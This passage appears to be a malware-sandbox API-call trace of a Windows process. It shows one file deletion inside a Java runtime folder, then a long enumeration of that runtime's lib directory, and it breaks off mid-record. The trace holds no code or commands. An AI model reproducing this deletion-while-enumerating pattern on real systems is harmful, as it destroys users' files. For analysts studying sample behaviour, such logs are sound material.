GetLastError () returned 0x0 [0125.351] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 1 [0125.352] GetLastError () returned 0x0 [0125.352] GetLastError () returned 0x0 [0125.353] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0125.353] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382df60 | out: hHeap=0x2ad0000) returned 1 [0125.353] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0125.353] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382e398 | out: hHeap=0x2ad0000) returned 1 [0125.353] GetLastError () returned 0x0 [0125.353] GetLastError () returned 0x0 [0125.353] GetLastError () returned 0x0 [0125.353] GetLastError () returned 0x0 [0125.353] FindFirstFileA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7990 [0125.355] GetLastError () returned 0x0 [0125.355] GetLastError () returned 0x0 [0125.355] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0125.356] GetLastError () returned 0x0 [0125.356] GetLastError () returned 0x0 [0125.356] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="accessibility.properties", cAlternateFileName="ACCESS~1.PRO")) returned 1 [0125.356] GetLastError () returned 0x0 [0125.356] GetLastError () returned 0x0 [0125.357] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="amd64", cAlternateFileName="")) returned 1 [0125.357] GetLastError () returned 0x0 [0125.357] GetLastError () returned 0x0 [0125.357] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="applet", cAlternateFileName="")) returned 1 [0125.357] GetLastError () returned 0x0 [0125.357] GetLastError () returned 0x0 [0125.357] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1 [0125.357] GetLastError () returned 0x0 [0125.357] GetLastError () returned 0x0 [0125.357] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa7bbd53, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa7bbd53, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2e56fa, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="charsets.jar", cAlternateFileName="")) returned 1 [0125.357] GetLastError () returned 0x0 [0125.357] GetLastError () returned 0x0 [0125.358] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x14983, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="classlist", cAlternateFileName="CLASSL~1")) returned 1 [0125.358] GetLastError () returned 0x0 [0125.358] GetLastError () returned 0x0 [0125.358] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105e2a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="cmm", cAlternateFileName="")) returned 1 [0125.358] GetLastError () returned 0x0 [0125.358] GetLastError () returned 0x0 [0125.358] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1 [0125.358] GetLastError () returned 0x0 [0125.358] GetLastError () returned 0x0 [0125.358] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x101a, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="currency.data", cAlternateFileName="CURREN~1.DAT")) returned 1 [0125.358] GetLastError () returned 0x0 [0125.358] GetLastError () returned 0x0 [0125.359] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa10e432c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="deploy", cAlternateFileName="")) returned 1 [0125.359] GetLastError () returned 0x0 [0125.359] GetLastError () returned 0x0 [0125.359] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1 [0125.359] GetLastError () returned 0x0 [0125.359] GetLastError () returned 0x0 [0125.359] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa11bdb26, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ext", cAlternateFileName="")) returned 1 [0125.359] GetLastError () returned 0x0 [0125.359] GetLastError () returned 0x0 [0125.359] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1 [0125.359] GetLastError () returned 0x0 [0125.359] GetLastError () returned 0x0 [0125.360] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xeba, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="fontconfig.bfc", cAlternateFileName="FONTCO~1.BFC")) returned 1 [0125.360] GetLastError () returned 0x0 [0125.360] GetLastError () returned 0x0 [0125.360] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2948, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="fontconfig.properties.src", cAlternateFileName="FONTCO~1.SRC")) returned 1 [0125.360] GetLastError () returned 0x0 [0125.360] GetLastError () returned 0x0 [0125.360] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa122f229, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="fonts", cAlternateFileName="")) returned 1 [0125.360] GetLastError () returned 0x0 [0125.360] GetLastError () returned 0x0 [0125.360] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="hijrah-config-umalqura.properties", cAlternateFileName="HIJRAH~1.PRO")) returned 1 [0125.360] GetLastError () returned 0x0 [0125.360] GetLastError () returned 0x0 [0125.361] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa12313ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0125.361] GetLastError () returned 0x0 [0125.361] GetLastError () returned 0x0 [0125.361] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1 [0125.361] GetLastError () returned 0x0 [0125.361] GetLastError () returned 0x0 [0125.361] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8e40a9d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8e40a9d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8e66d0e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe6827, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="javaws.jar", cAlternateFileName="")) returned 1 [0125.361] GetLastError () returned 0x0 [0125.361] GetLastError () returned 0x0 [0125.361] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1c6de, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="jce.jar", cAlternateFileName="")) returned 1 [0125.361] GetLastError () returned 0x0 [0125.361] GetLastError () returned 0x0 [0125.362] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1295634, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="jfr", cAlternateFileName="")) returned 1 [0125.362] GetLastError () returned 0x0 [0125.362] GetLastError () returned 0x0 [0125.362] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1 [0125.362] GetLastError () returned 0x0 [0125.362] GetLastError () returned 0x0 [0125.362] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x848c, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="jfxswt.jar", cAlternateFileName="")) returned 1 [0125.362] GetLastError () returned 0x0 [0125.362] GetLastError () returned 0x0 [0125.362] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa76f896, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa76f896, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa76f896, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8eb80, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="jsse.jar", cAlternateFileName="")) returned 1 [0125.362] GetLastError () returned 0x0 [0125.362] GetLastError () returned 0x0 [0125.363] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1082, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="jvm.hprof.txt", cAlternateFileName="JVMHPR~1.TXT")) returned 1 [0125.363] GetLastError () returned 0x0 [0125.363] GetLastError () returned 0x0 [0125.363] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x997, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="logging.properties", cAlternateFileName="LOGGIN~1.PRO")) returned 1 [0125.363] GetLastError () returned 0x0 [0125.363] GetLastError () returned 0x0 [0125.363] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1389711, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="management", cAlternateFileName="MANAGE~1")) returned 1 [0125.363] GetLastError () returned 0x0 [0125.363] GetLastError () returned 0x0 [0125.363] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1 [0125.363] GetLastError () returned 0x0 [0125.363] GetLastError () returned 0x0 [0125.364] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x84e, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="meta-index", cAlternateFileName="META-I~1")) returned 1 [0125.364] GetLastError () returned 0x0 [0125.364] GetLastError () returned 0x0 [0125.364] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1170, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="net.properties", cAlternateFileName="NET~1.PRO")) returned 1 [0125.364] GetLastError () returned 0x0 [0125.364] GetLastError () returned 0x0 [0125.364] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d81efe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d81efe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8df45fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1d588b, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="plugin.jar", cAlternateFileName="")) returned 1 [0125.364] GetLastError () returned 0x0 [0125.364] GetLastError () returned 0x0 [0125.364] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="psfont.properties.ja", cAlternateFileName="PSFONT~1.JA")) returned 1 [0125.364] GetLastError () returned 0x0 [0125.365] GetLastError () returned 0x0 [0125.365] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2899, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="psfontj2d.properties", cAlternateFileName="PSFONT~1.PRO")) returned 1 [0125.365] GetLastError () returned 0x0 [0125.365] GetLastError () returned 0x0 [0125.365] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x354add, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="resources.jar", cAlternateFileName="RESOUR~1.JAR")) returned 1 [0125.365] GetLastError () returned 0x0 [0125.365] GetLastError () returned 0x0 [0125.365] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa90a30aa, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa90a30aa, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa7233eb, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x340865b, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="rt.jar", cAlternateFileName="")) returned 1 [0125.365] GetLastError () returned 0x0 [0125.365] GetLastError () returned 0x0 [0125.365] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1418338, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1 [0125.365] GetLastError () returned 0x0 [0125.366] GetLastError () returned 0x0 [0125.366] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x9bac8c, dwReserved1=0x0, 